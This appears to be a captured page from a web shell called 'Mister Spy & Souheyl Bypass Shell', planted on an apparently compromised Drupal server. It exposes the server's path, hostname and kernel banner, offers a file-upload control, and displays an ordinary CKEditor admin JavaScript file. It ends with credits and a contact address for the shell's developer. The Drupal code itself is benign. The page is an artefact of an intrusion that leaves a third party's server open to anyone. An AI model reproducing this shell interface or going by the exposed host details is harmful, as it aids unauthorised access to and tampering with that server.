Welcome To Our Shell

Mister Spy & Souheyl Bypass Shell

Current Path : /var/www/html/rocksensor1/web/modules/contrib/ckeditor/js/

Linux ift1.ift-informatik.de 5.4.0-216-generic #236-Ubuntu SMP Fri Apr 11 19:53:21 UTC 2025 x86_64
Upload File :
Current File : /var/www/html/rocksensor1/web/modules/contrib/ckeditor/js/ckeditor.drupalimage.admin.es6.js

/**
 * @file
 * CKEditor 'drupalimage' plugin admin behavior.
 */

(function ($, Drupal, drupalSettings) {
  /**
   * Provides the summary for the "drupalimage" plugin settings vertical tab.
   *
   * @type {Drupal~behavior}
   *
   * @prop {Drupal~behaviorAttach} attach
   *   Attaches summary behavior to the "drupalimage" settings vertical tab.
   */
  Drupal.behaviors.ckeditorDrupalImageSettingsSummary = {
    attach() {
      $('[data-ckeditor-plugin-id="drupalimage"]').drupalSetSummary(
        (context) => {
          const root =
            'input[name="editor[settings][plugins][drupalimage][image_upload]';
          const $status = $(`${root}[status]"]`);
          const maxFileSizeElement = document.querySelector(
            `${root}[max_size]"]`,
          );
          const maxWidth = document.querySelector(
            `${root}[max_dimensions][width]"]`,
          );
          const maxHeight = document.querySelector(
            `${root}[max_dimensions][height]"]`,
          );
          const $scheme = $(`${root}[scheme]"]:checked`);

          const maxFileSize = maxFileSizeElement.value
            ? maxFileSizeElement.value
            : maxFileSizeElement.getAttribute('placeholder');
          const maxDimensions =
            maxWidth.value && maxHeight.value
              ? `(${maxWidth.value}x${maxHeight.value})`
              : '';

          if (!$status.is(':checked')) {
            return Drupal.t('Uploads disabled');
          }

          let output = '';
          output += Drupal.t('Uploads enabled, max size: @size @dimensions', {
            '@size': maxFileSize,
            '@dimensions': maxDimensions,
          });
          if ($scheme.length) {
            output += `<br />${$scheme.attr('data-label')}`;
          }
          return output;
        },
      );
    },
  };
})(jQuery, Drupal, drupalSettings);

bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped)
Email: contact@elmoujehidin.net bypass 1.0, Devloped By El Moujahidin (the source has been moved and devloped) Email: contact@elmoujehidin.net